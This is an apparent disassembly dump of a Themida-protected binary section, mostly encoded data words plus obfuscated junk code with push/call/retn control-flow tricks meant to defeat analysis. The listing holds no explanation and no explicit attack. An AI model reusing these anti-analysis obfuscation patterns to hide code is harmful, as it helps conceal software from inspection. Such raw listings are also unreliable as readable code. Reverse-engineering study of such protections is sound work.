dd 0D172C356h, 0BD316345h, 6122D41h, 0C6D3B70Fh, 1215C185h
dd 6A4506h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 0DB5EC7C3h, 9D8960FCh, 612184Dh, 7F6861F5h
dd 0B631C5FFh, 24048165h, 5CAC69EAh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 28C35040h, 9EA5C46Dh, 0FFDE8B66h
dd 123101B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 2840CE07h, 5E7E2CF3h, 0EE94Ch, 1C090000h
dd 11E6A0B6h, 8575461Eh, 0A8383968h, 827A858Dh, 2DBA0615h
dd 0FF75B50Bh, 6D8D01D0h, 8906122Ch, 122E3D85h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 7DC65942h, 4BACD548h, 0C2816673h, 0B70F0D28h, 0FD28BD2h
dd 689h, 51E28100h, 66161590h, 0BF0FD98Ch, 4C1F6D8h, 201840Fh
dd 81660000h, 0E9FBDED3h, 107h, 1EED8D89h, 0B58B0612h
dd 61212C1h, 0C68121B2h, 1180h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0EDC35141h, 2FBB66BEh, 119D0B89h
dd 8306122Eh, 122855BDh, 850F0006h, 2Bh, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 16h, 2DC35545h, 0A0B725DBh
dd 7AE9h, 0D99D8900h, 83061221h, 840F003Eh, 6Bh, 816660F9h
dd 6AC3ADEAh, 0D8B70F14h, 29D195FFh, 0BD890612h, 612130Dh
dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 98F381ADh, 8B20E362h, 0FFB5E9D1h, 6AFFFFh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0A66ECEC3h, 6039E678h, 8FE8C081h, 0C7615A7Ch, 106h
dd 0FE900h, 8F3B0000h, 381C0BEEh, 0CB8FDE35h, 9721BBA5h
dd 25BD8953h, 83061213h, 124DEABDh, 850F0506h, 0E3h, 7E8h
dd 49311C00h, 18FD0CEDh, 0B58B5BF9h, 6122E3Dh, 7928CA81h
dd 64B967CEh, 0BA000000h, 1692A078h, 0FE83E80h, 1A84h
dd 2DB58900h, 0E9061216h, 1Dh, 3810Fh, 0C2800000h, 198D293Eh
dd 80061232h, 0FC2057Eh, 6F84h, 90BB6600h, 6A463Eh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0A3A83EC3h, 958BC2CDh, 6121B51h, 0A1850F49h, 6AFFFFFFh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0D36EC353h, 1A1DB29h, 0DA819D49h, 47B9FFF8h
dd 32E9h, 8B60F900h, 1233F1B5h, 0C9958906h, 6106121Bh
dd 28E9B589h, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 58E316C3h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 8C35242h, 0E3BE3229h, 11E8CDA0h
dd 0C6000000h, 9EDBF0BAh, 0A5F7603Eh, 69ABCF2Fh, 0D06AE1DBh
dd 2AFD958Bh, 835A0612h, 121A89BDh, 840F0006h, 0EFh, 5E83E381h
dd 6A603C69h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 89B1C355h, 12249D85h, 0C185C606h
dd 54061215h, 9244DA81h, 62683C59h, 0BBA834F2h, 288B511Dh
dd 92240481h, 6A5719CCh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0B29EC355h, 9E9h, 0ACEE1600h
dd 4952D6FAh, 0B5FFB0C8h, 6123101h, 1DCB8166h, 8DFBB364h
dd 15827A85h, 4D958906h, 0FF06122Dh, 6A87B6D0h, 48C0F00h
dd 66000000h, 0FFBC96BAh, 121A89B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 5A7117E6h
dd 89907E26h, 123495B5h, 8AD0FF06h, 6A61F8h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BF0FA2C3h
dd 0C7F48ADFh, 12141985h, 106h, 69952900h, 2906121Ah, 121E3D9Dh
dd 0B70F6006h, 4E8D2h, 800000h, 0DE90000h, 4C000000h, 527D00C1h
dd 5F4903BEh, 36F67511h, 0E9525050h, 0Bh, 8B6D40Ah, 18324B2Dh
dd 0F65116Fh, 2830F31h, 60000000h, 8B585A61h, 66042444h
dd 8B9DC9BAh, 11E900h, 0E150000h, 4E315B18h, 0ACF4A49Bh
dd 0A29F058h, 896CC3CDh, 0E9042444h, 7, 64D3630h, 588B01D3h
dd 3F58589h, 8D310612h, 6122BF5h, 0CE9FF6Ah, 0AE000000h
dd 0BCB2D9A4h, 639D6F14h, 0FF2D43DBh, 1227F595h, 919D8B06h
dd 6106121Ch, 11E9h, 10C7D300h, 0D2A96979h, 3034CAE0h
dd 5B3A6938h, 8B5012EBh, 240489DAh, 1F51858Bh, 6A0612h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 8D89E5C3h, 6122FA5h, 840FC00Bh, 46h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 16h, 45C35242h, 95FFC08Ah
dd 6121E5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 2FC35343h, 0CA816683h, 85C79CE7h, 6120815h, 1
dd 0CE9h, 75FF9B00h, 867D4C74h, 5EE4FCB1h, 75BD835Ah, 61207h
dd 0B840Fh, 0EBB20000h, 185595FFh, 0BF0F0612h, 0C1BD83D0h
dd 61227h, 8840Fh, 55B70000h, 1C9595FFh, 0BD830612h, 6122C71h
dd 47840F00h, 0B6000000h, 0B9BD83DDh, 61225h, 38850Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 19B1EDC3h, 0F385CE32h, 80608CFBh
dd 0B58B13C2h, 61216C9h, 6595FF61h, 66061215h, 0BD83D08Bh
dd 6122421h, 5F840F00h, 0E8000000h, 0Ch, 0E4FEB4h, 1E73E806h
dd 134C6230h, 15199D29h, 575B0612h, 160D958Bh, 815B0612h
dd 120B3585h, 400306h, 2D9D0B00h, 81061213h, 1202B985h
dd 400306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 0B8BF506Ch, 19AD9D2Bh, 310F0612h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 36C35545h
dd 5F57FC4Ah, 0D1525DFh, 5840F4Ah, 0BB000000h, 52310A7Ah
dd 7459D09h, 8D8D0612h, 6125EC1h, 89D68B66h, 0E2816601h
dd 0C233F1F1h, 24959D8Bh, 41890612h, 50006A04h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 25A7499Bh
dd 7A99589h, 85890612h, 6122E11h, 0FDE8B66h, 57006A31h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0B4F653ACh, 0E89E3D6Fh, 6830Fh, 95890000h, 61224E1h
dd 5ED18D8Dh, 8D890612h, 6121231h, 0FF90189h, 38Eh, 0DF8B6600h
dd 9D03C233h, 6121925h, 6A044189h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 767DC352h
dd 0B32AA598h, 0DBB70F99h, 1B09BD83h, 0F000612h, 1684h
dd 89535700h, 1228C5B5h, 0FF5B5B06h, 1228DD95h, 0C99D8B06h
dd 83061212h, 122D71BDh, 850F0106h, 74h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 15h, 6BC35545h, 95958B36h
dd 0E9061228h, 4Ch, 833C8ABBh, 4DB58B78h, 0C7061260h, 6
dd 13B58B00h, 0C706125Eh, 6, 0C281CF00h, 376C7C50h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 24C35040h, 803B6877h
dd 0B501ABF6h, 61220ADh, 815BD83h, 0F000612h, 0E784h, 5E900h
dd 2D990000h, 83E59592h, 12295DBDh, 850F0106h, 0A5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FDC35242h, 6640C783h
dd 8B4F3DBAh, 124DDE8Dh, 70BA6606h, 0F1B52906h, 0C6061233h
dd 0CA810001h, 79423DBh, 75CD6860h, 8B66DA99h, 240481DAh
dd 25668AB3h, 80DBBF0Fh, 0FF6AB4D6h, 27F595FFh, 0EB800612h
dd 6A6146h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 32B29FC3h, 0F8B9EF99h, 294595FFh, 85890612h
dd 6122491h, 4DDE8D8Bh, 81660612h, 0FE28F7F2h, 0DDBD8901h
dd 8106121Ch, 376EB3F3h, 0C9BD8319h, 1061223h, 1E850Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0A106BBC3h, 9D8BC08Bh, 6121829h, 2F01BD83h
dd 75000612h, 49BD8309h, 61221h, 53501A74h, 858BC08Bh
dd 6120B35h, 0B358589h, 9D8D0612h, 614AD09h, 585BD3FFh
dd 2149BD83h, 74000612h, 8B535018h, 120B3585h, 35858906h
dd 8D06120Bh, 14A9F89Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0A5C996BBh
dd 0AD206501h, 13E965h, 90BC0000h, 0BFCC8477h, 0CFD53D44h
dd 7D52E271h, 5987417Ch, 0F1958911h, 8B06121Dh, 8B6057C0h
dd 0F3BE66DAh, 835A61B4h, 120815BDh, 850F0006h, 14h, 8393D380h
dd 1208F5BDh, 840F0006h, 4, 2236BB66h, 815BD83h, 0F000612h
dd 1284h, 60BB6600h, 91BD8372h, 6120Bh, 1840Fh, 83F50000h
dd 120815BDh, 840F0006h, 2Ch, 32C99D8Bh, 0BD830612h, 6120B91h
dd 19840F00h, 0E9000000h, 14h, 6D21718Ch, 1FE24CC3h, 0F4F9D218h
dd 0D422B9A3h, 7EDE82EEh, 815BD83h, 0F000612h, 1484h, 0D0BF0F00h
dd 2AB5BD83h, 0F000612h, 484h, 0F3BA6600h, 15BD838Dh, 61208h
dd 97840Fh, 0BE80000h, 0B2000000h, 0BD5DC1B3h, 0DBE919C6h
dd 0DE81861h, 93000000h, 5AADBF2Bh, 2736CAEAh, 3203F91Bh
dd 0C1E9BB66h, 0BD835A5Ah, 6122549h, 62840F00h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 10FCC352h, 6273EC44h, 0BE9h, 95675100h, 9E64818h
dd 0F717BCA3h, 3195FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 76FDCAC3h, 0E54E7318h
dd 8B4268E8h, 122B1D9Dh, 80C08B06h, 0BD830CE7h, 6122F01h
dd 83097500h, 122149BDh, 1A740006h, 0C08B5350h, 2B9858Bh
dd 85890612h, 61202B9h, 0AD709D8Dh, 0D3FF0614h, 0BD83585Bh
dd 6122149h, 50187400h, 0B9858B53h, 89061202h, 1202B985h
dd 119D8D06h, 0FF0614AAh, 0F585BD3h, 78Dh, 0BF0F6000h
dd 6102B0FFh, 9D8BD78Bh, 61225ADh, 83FCC08Bh, 120815BDh
dd 840F0006h, 456h, 12E9h, 1E3DEF00h, 7FA9ECDAh, 62A4F9A2h
dd 0AA478B38h, 835AD43Eh, 122561BDh, 840F0206h, 19h, 14DD9D8Bh
dd 0BD830612h, 6122D71h, 6850F01h, 81000000h, 1F8EFFCBh
dd 0BB66607Eh, 8D8BA2C8h, 6124DDEh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 23C35747h, 0B8C2131Fh, 0EE8h
dd 74E76300h, 0B9F94176h, 554254A8h, 0BA4A08ADh, 33ED5775h
dd 0EE9505Bh, 53000000h, 0FCA02CBDh, 0C007E045h, 568A8BBDh
dd 1FE5B53h, 1661958Bh, 59680612h, 0FAFBF1Fh, 48Bh, 0E58A6000h
dd 24048161h, 5040E127h, 0CDD28166h, 6AFF6AB6h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 154C350h, 83D64D86h, 0B70F5A56h, 0F595FFD8h, 0F061227h
dd 68Dh, 58D0900h, 61061219h, 8DD2BF0Fh, 1224E5BDh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 4F8B6B0Fh, 19BD891Ch, 6A061227h, 51006A01h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 162C4B27h
dd 57A75B36h, 0CE89120h, 1C000000h, 86627234h, 0B8D62068h
dd 532B7811h, 60505A5Bh, 14E911B3h, 0B1000000h, 0C55D590Bh
dd 91CFF529h, 0E4979CF7h, 0DE31CB4Bh, 61C7D9D3h, 8DDE8B91h
dd 1538FF85h, 5858906h, 0FF061215h, 53006AD0h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0DBBD9022h
dd 7E39C381h, 4F8B525Eh, 51006A20h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 34BA3857h, 2B44667Eh
dd 1200C595h, 0A3C1BA06h, 36A0184h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 55C35545h, 0D4BA621Eh, 60E2C026h
dd 12E9h, 8A347400h, 0C0B0AA39h, 0AA67908Ch, 0C96AC05Eh
dd 0F6FA101h, 9161CBB7h, 50D88B66h, 0E810Fh, 52500000h
dd 310F45B2h, 310F5250h, 585A585Ah, 52006A91h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0CFD25E2Ch
dd 5C1E6734h, 0DD5B57BBh, 8985310Fh, 8D061221h, 1538FF85h
dd 0DE806h, 76200000h, 59ABDF65h, 69AAD83Dh, 8B5712A4h
dd 0D0FF5BD0h, 2C9D9589h, 0D9BA0612h, 8D697C91h, 1224E5BDh
dd 0DA816606h, 4F8B9A9Bh, 8E91Ch, 1EED0000h, 0E176D44Ah
dd 16A43BFh, 7E8h, 0E5B6F00h, 9B1E8C86h, 0E99D8B56h, 5A061217h
dd 0DE8B505Bh, 23240C89h, 12245D95h, 0FF858D06h, 8B061538h
dd 8BD0FFD7h, 121A719Dh, 204F8B06h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 0A6C35343h, 1CCB48E3h, 0F840FEF8h
dd 8531036Ah, 6123099h, 53525050h, 0F5B6160h, 0CE831h
dd 90D30000h, 0C1385824h, 540FB874h, 93B7AE2Bh, 89585A5Ah
dd 6A240Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 858D1DC3h, 61538FFh, 31B99D89h, 0D0FF0612h
dd 4DDE8D8Bh, 8B660612h, 8B01FED6h, 12269595h, 0DE858B06h
dd 6A06124Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 25BCC357h, 85894954h, 6121805h
dd 6A00FEh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0D50D2EC3h, 478A229Fh, 6A3CB6F3h, 57006A01h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 2A5613F3h, 67B69D28h, 8B605F20h, 122B2D85h, 9E806h
dd 3DE60000h, 688D308Fh, 89B72571h, 12076D8Dh, 0F615906h
dd 6368D6BFh, 66D208E5h, 81FB29BAh, 0BA9C2404h, 0BA662DF6h
dd 858D544Eh, 6153909h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 41C35141h, 27DB03Dh, 8E8h, 191B8700h
dd 6E2C83F4h, 0D0FF5B34h, 31FD958Bh, 0BD830612h, 61208F5h
dd 3840F00h, 0BA000001h, 47B9F0C2h, 0EE9BD83h, 0F010612h
dd 0F185h, 8DD78B00h, 1539138Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FA77263h
dd 36ADEBFh, 0CBF38166h, 5E8FEh, 0C9470000h, 664A9B64h
dd 5A66AEBBh, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 55A4DAC3h, 0AE9551Fh, 2A000000h
dd 0CC5382F5h, 4B967DDCh, 6AD1FF4Dh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BBEC351h
dd 1217599Dh, 6A016A06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 6EB9C357h, 90BA6C5Fh
dd 6A63CC5Ch, 5E901h, 0B5AD0000h, 0FFCC8E03h, 0B59589D1h
dd 0E8061220h, 0FA496D54h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 0EEC35242h, 206A9230h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 15h, 23C35343h, 60FF6A4Ah
dd 3698D8Bh, 0E9600612h, 6, 5776C219h, 61605729h, 95FF6161h
dd 61227F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 41C35343h, 1CD1B501h, 0B80612h, 0E9000000h, 6
dd 93A978AFh, 0C00B93FAh, 2C840Fh, 8E90000h, 0F7000000h
dd 0ABE3F77Eh, 839D34BDh, 120B55BDh, 840F0006h, 12h, 2F35B589h
dd 95FF0612h, 6121D65h, 18C59D8Bh, 858B0612h, 61218A9h
dd 0C6DD8Ah, 0D68B6600h, 94F28166h, 958B5849h, 6120B95h
dd 8BD98C66h, 4C1F6D6h, 77840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A8FE90C3h
dd 0B6FAB463h, 4FE90Ah, 66600000h, 60722CBAh, 14519501h
dd 890F0612h, 0
; ---------------------------------------------------------------------------
popa
popa
mov esi, [ebp+61212C1h]
add esi, 1180h
push 0
push ebx
call sub_582549
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582549 proc near ; CODE XREF: Themida_:00582541p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_582549 endp
; ---------------------------------------------------------------------------
xor bl, bl
mov edx, [ebp+6121D45h]
mov dword ptr [esi], 0
mov [ebp+61208ADh], eax
pop esi
cmp eax, 0
jz loc_583154
mov edx, [ebp+612174Dh]
or edx, [ebp+61226A5h]
cmp eax, 1
jnz loc_58278B
mov edx, edi
mov eax, 0
push 0
push edi
call sub_58259E
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58259E proc near ; CODE XREF: Themida_:00582596p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_58259E endp
; ---------------------------------------------------------------------------
dw 0B1ADh
dd 60EDC5D9h, 108D8D8Bh, 9D290612h, 61224A1h, 0FC00B61h
dd 13C84h, 12E800h, 0BAD80000h, 51A34C92h, 0F7CAB5DAh
dd 0FD7E3D0Fh, 64333D02h, 0BE9h, 34F5EC00h, 81BF2F55h
dd 6B32A409h, 1F8835Ah, 12B840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0F8839EC3h
dd 9D840F03h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 0BDEC352h, 8BF521ACh
dd 6AC02BDEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 9C3DC352h, 4878E8D5h, 40120F46h
dd 754A22BBh, 0DE954h, 6F460000h, 0D43CB33Fh, 0C110FF90h
dd 8004399Ch, 0BD8DA7D6h, 5B89E0h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0ECC35646h, 0AE8E7FFh, 0DA000000h
dd 5E616961h, 0C959CFCDh, 99B50116h, 5B061228h, 1B8h, 59B58900h
dd 8D061217h, 5B89E0BDh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 2AAB7A68h, 0AA73342Bh
dd 0C59D3172h, 0FF061232h, 68A0FE7h, 8B000000h, 120C8595h
dd 6ABD8D06h, 0F9061244h, 21FDBD89h, 99E90612h, 89000002h
dd 1215F595h, 2840F06h, 0B6000000h, 3985C705h, 506124Eh
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0FA84C357h, 8E91C7Eh, 76000000h
dd 1AFD46D6h, 89ED6243h, 122011BDh, 5B806h, 0BA660000h
dd 1BE93252h, 56000009h, 0EAABA66h, 0DE85Bh, 0AE0C0000h
dd 4D388473h, 0FA5C0548h, 0F802BE6h
; ---------------------------------------------------------------------------
mov bh, 0D3h
pop ebx
loc_58278B: ; CODE XREF: Themida_:00582586j
cmp eax, 2
jnz loc_582877
add dh, 0FCh
mov eax, 0
push 0
push ecx
call sub_5827A7
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5827A7 proc near ; CODE XREF: Themida_:0058279Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5827A7 endp
; ---------------------------------------------------------------------------
db 0EDh
dd 85895827h, 6121251h, 0C00BF38Ah, 7C840Fh, 0DA800000h
dd 1F88394h, 0FF4F840Fh, 0F883FFFFh, 0DD840F03h, 6AFFFFFEh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 0D915C352h, 11E9h, 0D83B0D00h, 93FC2648h
dd 0BB9D773Fh, 0EC5763F9h, 0C02BDDB4h, 0BD8D65B6h, 5B89E0h
dd 13E8h, 9FCDAE00h, 0D8158E6Ah, 3C666312h, 27110199h
dd 0FBEA64Ch, 0FF5AE9B6h, 7870FE7h, 0F000000h, 18Fh, 0BD8DF800h
dd 6124662h, 5DE9AFB3h, 6A000001h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 97E7C356h
dd 559D2989h
; ---------------------------------------------------------------------------
sub dl, [edx]
push es
loc_582877: ; CODE XREF: Themida_:0058278Ej
cmp eax, 3
jnz loc_58289B
add [ebp+6120B5Dh], edi
lea edi, [ebp+61247F6h]
or bx, 0AFA3h
jmp loc_5829B0
; ---------------------------------------------------------------------------
sbb dx, 66B3h
loc_58289B: ; CODE XREF: Themida_:0058287Aj
cmp eax, 5
jnz loc_582900
push 0
push ebx
call sub_5828AF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5828AF proc near ; CODE XREF: Themida_:005828A7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5828AF endp
; ---------------------------------------------------------------------------
db 0FEh
dd 8ABA666Dh, 499D8B90h, 81061214h, 0F2EE50DBh, 7B4E970h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 2C4C95C3h, 6662E221h, 0B509D88Bh, 6121451h
; ---------------------------------------------------------------------------
loc_582900: ; CODE XREF: Themida_:0058289Ej
cmp eax, 6
jnz loc_582922
sbb dx, 98DAh
lea edi, [ebp+61249EEh]
mov [ebp+6122949h], edx
jmp loc_5829B0
; ---------------------------------------------------------------------------
movzx ebx, si
loc_582922: ; CODE XREF: Themida_:00582903j
cmp eax, 7
jnz loc_58296E
movsx ebx, ax
lea edi, [ebp+612091Dh]
push 0
push edi
call sub_58293F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58293F proc near ; CODE XREF: Themida_:00582937p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_58293F endp
; ---------------------------------------------------------------------------
add ebx, [edi+2Bh]
mov ebx, edi
jmp loc_582A95
; ---------------------------------------------------------------------------
jmp loc_582968
; ---------------------------------------------------------------------------
jge short loc_5829A5
inc edi
xor al, 0FFh
aam 0D5h
nop
mov dh, 3Ch
loc_582968: ; CODE XREF: Themida_:00582959j
mov [ebp+6122D81h], edi
loc_58296E: ; CODE XREF: Themida_:00582925j
cmp eax, 0Ah
jnz loc_5829B0
mov ebx, [ebp+6123051h]
lea edi, [ebp+6124BE6h]
mov dx, 4898h
jmp loc_5829B0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_582997
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582997 proc near ; CODE XREF: Themida_:0058298Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
loc_5829A5: ; CODE XREF: Themida_:0058295Ej
push eax
retn
sub_582997 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov edi, 96202857h
ror byte ptr [edi], 1
mov bh, 0D2h
loc_5829B0: ; CODE XREF: Themida_:00582891j
; Themida_:0058291Aj ...
push edi
movsx ebx, bx
mov ecx, 61D49BE7h
mov [ebp+6120F59h], ebx
jz loc_5829C8
movsx edx, si
loc_5829C8: ; CODE XREF: Themida_:005829BFj
cmp dword ptr [edi], 0
jz loc_582A77
push 0
push eax
call sub_5829DC
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5829DC proc near ; CODE XREF: Themida_:005829D4p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5829DC endp
; ---------------------------------------------------------------------------
sub [ebx], edx
and al, 0BDh
xchg eax, ebp
retf
; ---------------------------------------------------------------------------
fld tbyte ptr [ebx]
daa
xor dh, 6
jmp loc_582A09
; ---------------------------------------------------------------------------
dw 0E2ACh
dd 0BA8D1ABFh, 670FC175h
db 33h
; ---------------------------------------------------------------------------
loc_582A09: ; CODE XREF: Themida_:005829F9j
xor [edi], cl
push 0
push ebp
call sub_582A16
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582A16 proc near ; CODE XREF: Themida_:00582A0Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_582A16 endp
; ---------------------------------------------------------------------------
sal dword ptr [edx], 1
ror ecx, 1
pusha
mov [ebp+6120401h], edi
pusha
ja $+6
xor [ebp+61228E5h], edi
popa
popa
inc edi
push 0
push ecx
call sub_582A4C
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582A4C proc near ; CODE XREF: Themida_:00582A44p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_582A4C endp
; ---------------------------------------------------------------------------
sbb byte ptr [ebp-298EA4A8h], 0DFh
adc al, [ecx+2F183AE2h]
adc eax, 0FFFF59E9h
jmp dword ptr [esi-7Fh]
; ---------------------------------------------------------------------------
db 0DAh, 19h, 0F7h
; ---------------------------------------------------------------------------
sbb dl, 5
loc_582A77: ; CODE XREF: Themida_:005829CBj
pop edi
call near ptr loc_582A8B+3
jnz short near ptr loc_582AAB+7
cmp al, 54h
inc esi
rol dword ptr [ecx-54h], cl
pop ss
out 0B8h, eax ; Interrupt Controller #2, 8259A
or [edi+1], ch
loc_582A8B: ; CODE XREF: Themida_:00582A78p
cmpxchg [ebx-75h], ebx
popf
popa
sub [edx], edx
push es
pop ebx
loc_582A95: ; CODE XREF: Themida_:00582954j
mov [ebp+6124DE2h], edi
push 0
push ebx
call sub_582AA6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582AA6 proc near ; CODE XREF: Themida_:00582A9Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
loc_582AAB: ; CODE XREF: Themida_:00582A7Dj
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_582AA6 endp
; ---------------------------------------------------------------------------
dw 0B398h
dd 1BD07FA7h, 0E9EBBDE0h, 9, 606B2F41h, 8518481Ah, 0CD8D8DDDh
dd 0F06121Bh, 38Eh, 29E78000h, 2E3DB5FFh, 6A0612h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0B2C4F7C3h, 678FBBBFh, 858D0B7Bh, 614A6D0h, 2FBD8D50h
dd 8D061256h, 1270468Dh, 1ABCB806h, 0CF2B5483h, 0C8D00730h
dd 0F8754947h, 6F9DB58Dh, 8D8D0612h, 612705Eh, 0A4F3CF2Bh
dd 0B8C933h, 0B000000h, 834674C0h, 120B55BDh, 6740006h
dd 1D6595FFh, 0B58B0612h, 6124DE2h, 0A6D0858Dh, 0D0FF0614h
dd 43F6858Dh, 0D0FF0612h, 2E5185C7h, 10612h, 0A58B0000h
dd 6121D79h, 21A1B58Bh, 0AD8B0612h, 61218FDh, 0CC2C033h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 85895BF4h, 61218D5h, 6ABABBF9h, 6A5551h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
